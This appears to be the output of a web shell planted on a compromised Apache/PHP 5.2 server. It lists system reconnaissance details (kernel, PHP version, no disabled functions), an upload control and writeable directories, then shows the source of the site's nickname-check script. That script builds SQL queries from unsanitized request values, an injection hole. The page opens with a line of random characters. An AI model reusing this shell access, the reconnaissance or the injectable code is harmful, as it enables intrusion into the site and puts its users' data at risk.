KGRKJGETMRETU895U-589TY5MIGM5JGB5SDFESFREWTGR54TY
Server : Apache/2.2.17 (Unix) mod_ssl/2.2.17 OpenSSL/0.9.8e-fips-rhel5 DAV/2 PHP/5.2.17
System : Linux localhost 2.6.18-419.el5 #1 SMP Fri Feb 24 22:47:42 UTC 2017 x86_64
User : nobody ( 99)
PHP Version : 5.2.17
Disable Function : NONE
Directory :  /home/queenjbs/www/member/

Upload File :
current_dir [ Writeable ] document_root [ Writeable ]

 

Current File : /home/queenjbs/www/member/nickChk.html
<?
	include "$DOCUMENT_ROOT/conf/conf_dir.php";
?>
<META http-equiv=Content-Type content="text/html; charset=UTF-8">
<?
	$nickname = trim($nickname);
	
	$userNick = get_db("select nickname from user where nickname = '$nickname'");

	if($sessionIDX){
		$tmpSessionNick = get_db("select nickname from user where id = '$sessionIDX'");
	}
	
	if($userNick && ($tmpSessionNick != $userNick)){
		//alert('중복된 ID 입니다.다시 입력해 주세요');
		echo"<script>
				alert('ニックネームが重複しています。再度ご入力下さい。');

				parent.document.form.nickname.value='';
				parent.document.form.nickchk.value='';
				parent.document.form.nickname.focus();</script>";
	}else{
		//alert('사용 가능한 ID 입니다.');
		echo"<script>
				alert('ご利用可能なニックネームです。');
				parent.document.form.nickchk.value=1;
				parent.document.form.pw.focus();
				</script>";
	}
	
	mysql_close();
?>

Anon7 - 2021